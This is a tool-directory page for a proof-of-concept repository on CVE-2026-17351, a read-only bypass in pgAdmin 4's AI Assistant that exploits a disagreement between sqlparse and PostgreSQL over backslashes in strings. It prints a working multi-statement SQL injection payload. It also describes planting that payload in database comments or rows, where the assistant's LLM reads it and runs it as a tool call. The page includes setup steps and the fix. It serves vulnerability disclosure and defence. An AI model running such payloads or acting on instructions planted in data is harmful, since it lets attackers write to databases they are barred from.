Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass — Proof-of-concept demonstrating CVE-2026-17351 SQL injection bypass in pgAdmin 4's AI Assistant via sqlparse/PostgreSQL lexer differential, including indirect prompt injection delivery. | Kitploit
Tools/GitHubGitHub/hunt-benito/pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationAI SecurityDatabase Security
GitHubhunt-benito/pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass

pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass

Proof-of-concept demonstrating CVE-2026-17351 SQL injection bypass in pgAdmin 4's AI Assistant via sqlparse/PostgreSQL lexer differential, including indirect prompt injection delivery.

View Repository
51 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-17351 — pgAdmin 4 AI Assistant Read-Only Bypass via Lexer Differential

PoC for CVE-2026-17351, a critical (CVSS 9.0) SQL injection bypass in pgAdmin 4's AI Assistant.

Vulnerability Summary

pgAdmin 4 versions 9.13 through 9.16 use Python's sqlparse library to validate that LLM-generated SQL queries are single, read-only statements. Under PostgreSQL's standard_conforming_strings = on (the default since PostgreSQL 9.1), sqlparse and PostgreSQL disagree about how backslashes inside string literals are handled. This allows an attacker to craft a payload that passes sqlparse's validation as a single SELECT but executes as four statements in PostgreSQL — including a COMMIT that ends the read-only transaction and subsequent write statements.

Payload

root@kitploit:~
SELECT '\';COMMIT;CREATE TABLE pwn(x int);SELECT 1 --'
  • sqlparse sees one SELECT with a big string literal → validation passes
  • PostgreSQL sees: SELECT '\' + COMMIT + CREATE TABLE pwn(x int) + SELECT 1 --'

Delivery

The payload is delivered via indirect prompt injection: the attacker plants it inside a database object (column comment, row value, view definition) that the AI Assistant reads. When a legitimate user asks a question, the LLM reads the poisoned data and emits it as an execute_sql_query tool call.

Files

FileDescription
poc.pyDemonstrates the lexer differential: sqlparse validation passes, simple query protocol executes multiple statements, extended query protocol blocks it
prompt_injection_demo.pySimulates the full attack chain: payload planted as a column comment → simulated LLM reads it → validation passes → execution

Requirements

root@kitploit:~
pip install psycopg[binary] sqlparse

You also need a running PostgreSQL instance (14+):

root@kitploit:~
docker run -d --name pg-poc \
    -e POSTGRES_PASSWORD=secret \
    -e POSTGRES_DB=testdb \
    -p 5433:5432 \
    postgres:18

Usage

root@kitploit:~
# Main PoC — lexer differential demonstration
python3 poc.py

# Prompt injection delivery demo
python3 prompt_injection_demo.py

# Custom connection parameters
python3 poc.py --host 10.0.0.5 --port 5432 --user postgres --password mypw

The Fix (pgAdmin 9.17)

The fix forces psycopg3's extended query protocol by:

  1. Setting conn.prepare_threshold = 0 on the LLM's dedicated connection
  2. Passing prepare=True to cursor.execute()

This makes PostgreSQL's own Parse step the authority on statement boundaries — it structurally rejects multi-statement text regardless of how any client-side lexer classifies it.

References

  • CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-17351
  • GitHub Issue: https://github.com/pgadmin-org/pgadmin4/issues/10192
  • Fix Commit: https://github.com/pgadmin-org/pgadmin4/commit/ef76102bcd1cdb544eb9b4ef18d3382f22b76752
  • Original CVE (CVE-2026-12045): https://nvd.nist.gov/vuln/detail/CVE-2026-12045
  • Reporter: Kai Aizen (SnailSploit)

Disclaimer

This PoC is for educational and authorized testing purposes only.

Download Tool